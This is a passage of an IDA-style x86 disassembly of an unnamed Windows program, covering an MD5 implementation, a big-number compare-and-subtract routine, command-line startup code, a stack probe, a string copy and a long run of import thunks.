endp ; =============== S U B R O U T I N E ======================================= sub_40B7AB proc near ; CODE XREF: sub_40B6E0+29p ; sub_40B73C+15p mov ebx, 1FFh loc_40B7B0: ; CODE XREF: sub_40B7AB+Bj bt [edi], ebx jb short locret_40B7B8 dec ebx jnz short loc_40B7B0 locret_40B7B8: ; CODE XREF: sub_40B7AB+8j retn sub_40B7AB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40B7BC proc near ; CODE XREF: sub_40B73C+2Ep ; sub_40B73C+57p lea esi, dword_446A74 mov edi, [ebp+14h] mov ecx, 0Fh loc_40B7CA: ; CODE XREF: sub_40B7BC+19j mov eax, [esi+ecx*4] cmp eax, [edi+ecx*4] jb short locret_40B7F3 ja short loc_40B7D7 dec ecx jns short loc_40B7CA loc_40B7D7: ; CODE XREF: sub_40B7BC+16j mov esi, [ebp+14h] lea edi, dword_446A74 xor eax, eax mov ecx, 10h loc_40B7E7: ; CODE XREF: sub_40B7BC+35j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40B7E7 locret_40B7F3: ; CODE XREF: sub_40B7BC+14j retn sub_40B7BC endp ; =============== S U B R O U T I N E ======================================= sub_40B7F4 proc near ; CODE XREF: sub_40B845+32p ; sub_40B845+50p ... mov eax, ebx and eax, ecx push ebx not ebx and ebx, edx or eax, ebx pop ebx retn sub_40B7F4 endp ; =============== S U B R O U T I N E ======================================= sub_40B801 proc near ; CODE XREF: sub_40B845+219p ; sub_40B845+238p ... mov eax, ebx and eax, edx push edx not edx and edx, ecx or eax, edx pop edx retn sub_40B801 endp ; =============== S U B R O U T I N E ======================================= sub_40B80E proc near ; CODE XREF: sub_40B845+420p ; sub_40B845+43Fp ... mov eax, ebx xor eax, ecx xor eax, edx retn sub_40B80E endp ; =============== S U B R O U T I N E ======================================= sub_40B815 proc near ; CODE XREF: sub_40B845+627p ; sub_40B845+645p ... mov eax, edx not eax or eax, ebx xor eax, ecx retn sub_40B815 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B81E proc near ; CODE XREF: sub_4088C3+8Ap arg_0 = dword ptr 8 push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov dword ptr [edi], 67452301h mov dword ptr [edi+4], 0EFCDAB89h mov dword ptr [edi+8], 98BADCFEh mov dword ptr [edi+0Ch], 10325476h popa pop ebp retn 4 sub_40B81E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B845 proc near ; CODE XREF: sub_4088C3+ACp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [edi] mov dword_446AF4, eax mov eax, [edi+4] mov dword_446AF8, eax mov eax, [edi+8] mov dword_446AFC, eax mov eax, [edi+0Ch] mov dword_446B00, eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B7F4 add eax, [edi] add eax, [esi] add eax, 0D76AA478h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B7F4 add eax, [edi+0Ch] add eax, [esi+4] add eax, 0E8C7B756h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B7F4 add eax, [edi+8] add eax, [esi+8] add eax, 242070DBh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B7F4 add eax, [edi+4] add eax, [esi+0Ch] add eax, 0C1BDCEEEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B7F4 add eax, [edi] add eax, [esi+10h] add eax, 0F57C0FAFh rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B7F4 add eax, [edi+8] add eax, [esi+18h] add eax, 0A8304613h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B7F4 add eax, [edi+4] add eax, [esi+1Ch] add eax, 0FD469501h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B7F4 add eax, [edi] add eax, [esi+20h] add eax, 698098D8h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B7F4 add eax, [edi+0Ch] add eax, [esi+24h] add eax, 8B44F7AFh rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B7F4 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFFF5BB1h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B7F4 add eax, [edi+4] add eax, [esi+2Ch] add eax, 895CD7BEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B7F4 add eax, [edi] add eax, [esi+30h] add eax, 6B901122h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B7F4 add eax, [edi+0Ch] add eax, [esi+34h] add eax, 0FD987193h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B7F4 add eax, [edi+8] add eax, [esi+38h] add eax, 0A679438Eh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B7F4 add eax, [edi+4] add eax, [esi+3Ch] add eax, 49B40821h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B801 add eax, [edi] add eax, [esi+4] add eax, 0F61E2562h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B801 add eax, [edi+0Ch] add eax, [esi+18h] add eax, 0C040B340h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B801 add eax, [edi+8] add eax, [esi+2Ch] add eax, 265E5A51h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B801 add eax, [edi+4] add eax, [esi] add eax, 0E9B6C7AAh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B801 add eax, [edi] add eax, [esi+14h] add eax, 0D62F105Dh rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B801 add eax, [edi+0Ch] add eax, [esi+28h] add eax, 2441453h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B801 add eax, [edi+8] add eax, [esi+3Ch] add eax, 0D8A1E681h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B801 add eax, [edi+4] add eax, [esi+10h] add eax, 0E7D3FBC8h rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B801 add eax, [edi] add eax, [esi+24h] add eax, 21E1CDE6h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B801 add eax, [edi+0Ch] add eax, [esi+38h] add eax, 0C33707D6h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B801 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0F4D50D87h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B801 add eax, [edi+4] add eax, [esi+20h] add eax, 455A14EDh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B801 add eax, [edi] add eax, [esi+34h] add eax, 0A9E3E905h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B801 add eax, [edi+0Ch] add eax, [esi+8] add eax, 0FCEFA3F8h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B801 add eax, [edi+8] add eax, [esi+1Ch] add eax, 676F02D9h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B801 add eax, [edi+4] add eax, [esi+30h] add eax, 8D2A4C8Ah rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B80E add eax, [edi] add eax, [esi+14h] add eax, 0FFFA3942h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B80E add eax, [edi+0Ch] add eax, [esi+20h] add eax, 8771F681h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B80E add eax, [edi+8] add eax, [esi+2Ch] add eax, 6D9D6122h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B80E add eax, [edi+4] add eax, [esi+38h] add eax, 0FDE5380Ch rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B80E add eax, [edi] add eax, [esi+4] add eax, 0A4BEEA44h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B80E add eax, [edi+0Ch] add eax, [esi+10h] add eax, 4BDECFA9h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B80E add eax, [edi+8] add eax, [esi+1Ch] add eax, 0F6BB4B60h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B80E add eax, [edi+4] add eax, [esi+28h] add eax, 0BEBFBC70h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B80E add eax, [edi] add eax, [esi+34h] add eax, 289B7EC6h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B80E add eax, [edi+0Ch] add eax, [esi] add eax, 0EAA127FAh rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B80E add eax, [edi+8] add eax, [esi+0Ch] add eax, 0D4EF3085h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B80E add eax, [edi+4] add eax, [esi+18h] add eax, 4881D05h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B80E add eax, [edi] add eax, [esi+24h] add eax, 0D9D4D039h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B80E add eax, [edi+0Ch] add eax, [esi+30h] add eax, 0E6DB99E5h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B80E add eax, [edi+8] add eax, [esi+3Ch] add eax, 1FA27CF8h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B80E add eax, [edi+4] add eax, [esi+8] add eax, 0C4AC5665h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B815 add eax, [edi] add eax, [esi] add eax, 0F4292244h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B815 add eax, [edi+0Ch] add eax, [esi+1Ch] add eax, 432AFF97h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B815 add eax, [edi+8] add eax, [esi+38h] add eax, 0AB9423A7h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B815 add eax, [edi+4] add eax, [esi+14h] add eax, 0FC93A039h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B815 add eax, [edi] add eax, [esi+30h] add eax, 655B59C3h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B815 add eax, [edi+0Ch] add eax, [esi+0Ch] add eax, 8F0CCC92h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B815 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFEFF47Dh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B815 add eax, [edi+4] add eax, [esi+4] add eax, 85845DD1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B815 add eax, [edi] add eax, [esi+20h] add eax, 6FA87E4Fh rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B815 add eax, [edi+0Ch] add eax, [esi+3Ch] add eax, 0FE2CE6E0h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B815 add eax, [edi+8] add eax, [esi+18h] add eax, 0A3014314h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B815 add eax, [edi+4] add eax, [esi+34h] add eax, 4E0811A1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40B815 add eax, [edi] add eax, [esi+10h] add eax, 0F7537E82h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40B815 add eax, [edi+0Ch] add eax, [esi+2Ch] add eax, 0BD3AF235h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40B815 add eax, [edi+8] add eax, [esi+8] add eax, 2AD7D2BBh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40B815 add eax, [edi+4] add eax, [esi+24h] add eax, 0EB86D391h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov eax, dword_446AF4 add [edi], eax mov eax, dword_446AF8 add [edi+4], eax mov eax, dword_446AFC add [edi+8], eax mov eax, dword_446B00 add [edi+0Ch], eax popa pop ebp xor eax, eax retn 8 sub_40B845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C090 proc near ; CODE XREF: sub_4096E4+CADp var_1C = dword ptr -1Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 1Ch fnstcw [ebp+var_2] mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [esp+1Ch+var_1C] mov eax, [esp+1Ch+var_1C] fldcw [ebp+var_2] leave retn sub_40C090 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C0B4 proc near ; CODE XREF: sub_401219+66p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_40C17C ; GetCommandLineA mov edi, eax cmp byte ptr [edi], 22h jnz short loc_40C0E8 push 22h mov eax, edi inc eax push eax call sub_40C6E0 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_40C103 mov edi, eax inc edi jmp short loc_40C0E0 ; --------------------------------------------------------------------------- loc_40C0DF: ; CODE XREF: sub_40C0B4+2Fj inc edi loc_40C0E0: ; CODE XREF: sub_40C0B4+29j cmp byte ptr [edi], 20h jz short loc_40C0DF jmp short loc_40C103 ; --------------------------------------------------------------------------- loc_40C0E7: ; CODE XREF: sub_40C0B4+3Ej inc edi loc_40C0E8: ; CODE XREF: sub_40C0B4+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_40C0F4 cmp eax, 20h jnz short loc_40C0E7 loc_40C0F4: ; CODE XREF: sub_40C0B4+39j jmp short loc_40C0F7 ; --------------------------------------------------------------------------- loc_40C0F6: ; CODE XREF: sub_40C0B4+4Dj inc edi loc_40C0F7: ; CODE XREF: sub_40C0B4:loc_40C0F4j movsx eax, byte ptr [edi] or eax, eax jz short loc_40C103 cmp eax, 20h jz short loc_40C0F6 loc_40C103: ; CODE XREF: sub_40C0B4+24j ; sub_40C0B4+31j ... push 0 call sub_40C1D0 ; GetModuleHandleA push 1 push edi push 0 push eax call sub_40A4E2 pop edi leave retn sub_40C0B4 endp ; =============== S U B R O U T I N E ======================================= sub_40C118 proc near ; CODE XREF: sub_40133E+8p ; sub_402B12+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_40C119: ; CODE XREF: sub_40C118+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_40C119 sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_40C118 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40C138 proc near ; CODE XREF: sub_401C5D+D4p ; sub_405409+3Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_40C138 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C164 proc near ; CODE XREF: sub_40A4E2+35Cp jmp ds:dword_447374 sub_40C164 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C170 proc near ; CODE XREF: sub_4063A9+111p jmp ds:dword_447378 sub_40C170 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C17C proc near ; CODE XREF: sub_40C0B4+5p jmp ds:dword_44737C sub_40C17C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C188 proc near ; CODE XREF: sub_40133E+76p ; sub_4014AA+9p ... jmp ds:dword_447380 sub_40C188 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C194 proc near ; CODE XREF: sub_401DE8:loc_401F1Fp ; sub_403010+212p ... jmp ds:dword_447384 sub_40C194 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1A0 proc near ; CODE XREF: sub_401AC1+82p ; sub_4096E4+639p jmp ds:dword_447388 sub_40C1A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1AC proc near ; CODE XREF: sub_40849F+E2p jmp ds:dword_44738C sub_40C1AC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1B8 proc near ; CODE XREF: sub_401AC1+E4p ; sub_401DE8+2EEp ... jmp ds:dword_447390 sub_40C1B8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1C4 proc near ; CODE XREF: sub_403BAD+143p ; sub_4042A4+36p ... jmp ds:dword_447394 sub_40C1C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1D0 proc near ; CODE XREF: sub_4022D1+Fp ; sub_402639+FCp ... jmp ds:dword_447398 sub_40C1D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1DC proc near ; CODE XREF: sub_40133E+7Cp ; sub_401AC1+DFp ... jmp ds:dword_44739C sub_40C1DC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1E8 proc near ; CODE XREF: sub_4022D1+21p ; sub_4022D1+36p ... jmp ds:dword_4473A0 sub_40C1E8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C1F4 proc near ; CODE XREF: sub_40133E+45p ; sub_4014AA:loc_4014DDp ... jmp ds:dword_4473A4 sub_40C1F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C200 proc near ; CODE XREF: sub_403AC7+36p ; sub_4042A4+98p ... jmp ds:dword_4473A8 sub_40C200 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C20C proc near ; CODE XREF: sub_4056EE+10Bp jmp ds:dword_4473AC sub_40C20C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C218 proc near ; CODE XREF: sub_40181E:loc_40184Fp ; sub_401DE8:loc_40215Fp ... jmp ds:dword_4473B0 sub_40C218 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C224 proc near ; CODE XREF: sub_4015C0+7Ep ; sub_401C5D+9Dp ... jmp ds:dword_4473B4 sub_40C224 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C230 proc near ; CODE XREF: sub_4042A4+57p ; sub_40A4E2+100p jmp ds:dword_4473B8 sub_40C230 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C23C proc near ; CODE XREF: sub_403AC7+83p jmp ds:dword_4473BC sub_40C23C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C248 proc near ; CODE XREF: sub_4042A4+135p ; sub_4096E4+A09p ... jmp ds:dword_4473C0 sub_40C248 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C254 proc near ; CODE XREF: sub_40352B+75p ; sub_4037D7+59p ... jmp ds:dword_4473C4 sub_40C254 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C260 proc near ; CODE XREF: sub_4035A9+8Ep ; .text:00403A12p jmp ds:dword_4473C8 sub_40C260 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C26C proc near ; CODE XREF: sub_4035A9+5Ep ; .text:004039DBp jmp ds:dword_4473CC sub_40C26C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C278 proc near ; CODE XREF: sub_402B12+1E3p jmp ds:dword_4473D0 sub_40C278 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C284 proc near ; CODE XREF: sub_4063A9+3F7p ; sub_40A4E2+2DFp jmp ds:dword_4473D4 sub_40C284 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C290 proc near ; CODE XREF: sub_4063A9+32p jmp ds:dword_4473D8 sub_40C290 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C29C proc near ; CODE XREF: sub_402B12+1AAp jmp ds:dword_4473DC sub_40C29C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2A8 proc near ; CODE XREF: sub_403010+F8p jmp ds:dword_4473E0 sub_40C2A8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2B4 proc near ; CODE XREF: sub_40133E+10p ; sub_401719+8p ... jmp ds:dword_4473E4 sub_40C2B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2C0 proc near ; CODE XREF: sub_402B12+ADp jmp ds:dword_4473E8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2CC proc near ; CODE XREF: sub_401AC1+A7p ; sub_405217+5Ap ... jmp ds:dword_4473EC sub_40C2CC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2D8 proc near ; CODE XREF: sub_405217:loc_4052B4p ; sub_4056EE+7Ap ... jmp ds:dword_4473F0 sub_40C2D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2E4 proc near ; CODE XREF: sub_40A482+20p jmp ds:dword_4473F4 sub_40C2E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2F0 proc near ; CODE XREF: sub_405217+27p jmp ds:dword_4473F8 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C2FC proc near ; CODE XREF: sub_40133E+3Ep ; sub_401AC1+32p ... jmp ds:dword_4473FC sub_40C2FC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C308 proc near ; CODE XREF: sub_40133E+71p ; sub_401AC1+D4p jmp ds:dword_447400 sub_40C308 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C314 proc near ; CODE XREF: sub_40107A+13p jmp ds:dword_447404 sub_40C314 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C320 proc near ; CODE XREF: sub_402B12+4EFp ; sub_4088C3+65p jmp ds:dword_447408 sub_40C320 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C32C proc near ; CODE XREF: sub_405368+64p ; sub_4081B0+1D0p ... jmp ds:dword_44740C sub_40C32C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C338 proc near ; CODE XREF: sub_40849F+10Cp jmp ds:dword_447410 sub_40C338 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C344 proc near ; CODE XREF: sub_40A4E2+4EBp jmp ds:dword_447414 sub_40C344 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C350 proc near ; CODE XREF: sub_4063A9+320p ; sub_4063A9+348p jmp ds:dword_447418 sub_40C350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C35C proc near ; CODE XREF: sub_4063A9+50Ep jmp ds:dword_44741C sub_40C35C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C368 proc near ; CODE XREF: sub_40879D+14p jmp ds:dword_447420 sub_40C368 endp ; 